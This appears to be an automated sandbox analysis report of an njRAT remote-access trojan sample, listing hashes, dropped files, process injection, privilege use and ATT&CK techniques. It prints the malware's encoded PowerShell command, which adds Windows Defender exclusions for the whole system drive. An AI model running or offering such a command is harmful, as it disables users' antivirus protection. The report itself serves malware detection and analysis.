njrat | a10c7b2ff53a0dd69b61fd972a2830c127347296097b681de5ac374294005463

Analysis

max time kernel
150s
max time network
153s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
31/10/2023, 02:51

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General

Target

4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe
Size

10.3MB
MD5

b739c3eba37aa9999fb2d15ab5b9c680
SHA1

bb18cc561805efa38545310057bcae4e894d3817
SHA256

4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90
SHA512

0259b599a7e37426383184110aa828d0797875bab1925186b5b0ca0cb99ed2ae2bceb31f5c83ca3a8ba890bf86bb8cfa75f58d80db3b4ae710828f8ffb36c1ea
SSDEEP

196608:56wcPit+w7T+yuSLoGUpTKQ8LY+TRQf3goX3yCJdpHt:5jSKd/+yuQoGUlQepyCJ

Score

10^/10

njrat trojan

Malware Config

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

Executes dropped EXE 2 IoCs

pid	Process
2160	Server.exe
2660	Global Ultra Loade PB [2023].exe

Loads dropped DLL 3 IoCs

pid	Process
3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe
3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe
3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2944	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2160	Server.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe
Token: 33	2160	Server.exe
Token: SeIncBasePriorityPrivilege	2160	Server.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 2944	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	28
PID 3068 wrote to memory of 2944	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	28
PID 3068 wrote to memory of 2944	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	28
PID 3068 wrote to memory of 2944	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	28
PID 3068 wrote to memory of 2160	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	30
PID 3068 wrote to memory of 2160	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	30
PID 3068 wrote to memory of 2160	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	30
PID 3068 wrote to memory of 2160	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	30
PID 3068 wrote to memory of 2660	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	31
PID 3068 wrote to memory of 2660	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	31
PID 3068 wrote to memory of 2660	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	31
PID 3068 wrote to memory of 2660	3068	4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe	31

C:\Users\Admin\AppData\Local\Temp\4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe
"C:\Users\Admin\AppData\Local\Temp\4d3583917fb1f539f92f945f0f298b2c1766ac27086275600eab721b8e9fbd90.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAbQByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAZwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHQAaQBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGUAbABqACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2944
- C:\Users\Admin\AppData\Local\Temp\Server.exe
  "C:\Users\Admin\AppData\Local\Temp\Server.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe
  "C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe"
  2⤵
  - Executes dropped EXE
  PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab4A7A.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe

Filesize
10.2MB

MD5
8564d4fe3d42c677cef18279c011e18f

SHA1
9fc9e7f8aec865864eb65d2fa056fb52a8554fab

SHA256
2e4ffaed48821bdee7f5fb6bd0d0b5b7231145e40c15d4875aaab01b81dd7fc5

SHA512
4ab42cd004255a59cd7e59703af82fe88f293183631179a16624895f48252b0b4f675844ed9615bc3db9a012ea5530366319a6ad8b0cbdeafa758236c9fbd4e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe

Filesize
10.2MB

MD5
8564d4fe3d42c677cef18279c011e18f

SHA1
9fc9e7f8aec865864eb65d2fa056fb52a8554fab

SHA256
2e4ffaed48821bdee7f5fb6bd0d0b5b7231145e40c15d4875aaab01b81dd7fc5

SHA512
4ab42cd004255a59cd7e59703af82fe88f293183631179a16624895f48252b0b4f675844ed9615bc3db9a012ea5530366319a6ad8b0cbdeafa758236c9fbd4e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar4AEA.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
\Users\Admin\AppData\Local\Temp\Global Ultra Loade PB [2023].exe

Filesize
10.2MB

MD5
8564d4fe3d42c677cef18279c011e18f

SHA1
9fc9e7f8aec865864eb65d2fa056fb52a8554fab

SHA256
2e4ffaed48821bdee7f5fb6bd0d0b5b7231145e40c15d4875aaab01b81dd7fc5

SHA512
4ab42cd004255a59cd7e59703af82fe88f293183631179a16624895f48252b0b4f675844ed9615bc3db9a012ea5530366319a6ad8b0cbdeafa758236c9fbd4e0

Download Submit
\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
\Users\Admin\AppData\Local\Temp\Server.exe

Filesize
36KB

MD5
4e6d2de28a77f3e0b709aafe50346ab2

SHA1
c4b9ebe731dd45a9d5334b86021565075a0cf13f

SHA256
9bfaa2fd0df9bdfa594d582f8500393ee99de7acb0a24816677745529c425ceb

SHA512
71d5eb4e106963e46ddfcdc7a3fa3933aa2727b4d5d1a4244600e08bf435b055c7f85effa23b35d2942d1baf8a4a759a94d69ffb409fb7b7dfc1473dca949c3a

Download Submit
memory/2160-25-0x0000000001F90000-0x0000000001FD0000-memory.dmp

Filesize
256KB

Download
memory/2160-22-0x0000000074AC0000-0x000000007506B000-memory.dmp

Filesize
5.7MB

Download
memory/2160-66-0x0000000074AC0000-0x000000007506B000-memory.dmp

Filesize
5.7MB

Download
memory/2160-65-0x0000000074AC0000-0x000000007506B000-memory.dmp

Filesize
5.7MB

Download
memory/2160-21-0x0000000074AC0000-0x000000007506B000-memory.dmp

Filesize
5.7MB

Download
memory/2660-16-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-27-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2660-17-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2660-18-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-63-0x000007FEF60B0000-0x000007FEF6A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2660-64-0x00000000029C0000-0x0000000002A40000-memory.dmp

Filesize
512KB

Download
memory/2944-26-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download
memory/2944-62-0x0000000074AC0000-0x000000007506B000-memory.dmp

Filesize
5.7MB

Download
memory/2944-23-0x0000000074AC0000-0x000000007506B000-memory.dmp

Filesize
5.7MB

Download
memory/2944-24-0x00000000025A0000-0x00000000025E0000-memory.dmp

Filesize
256KB

Download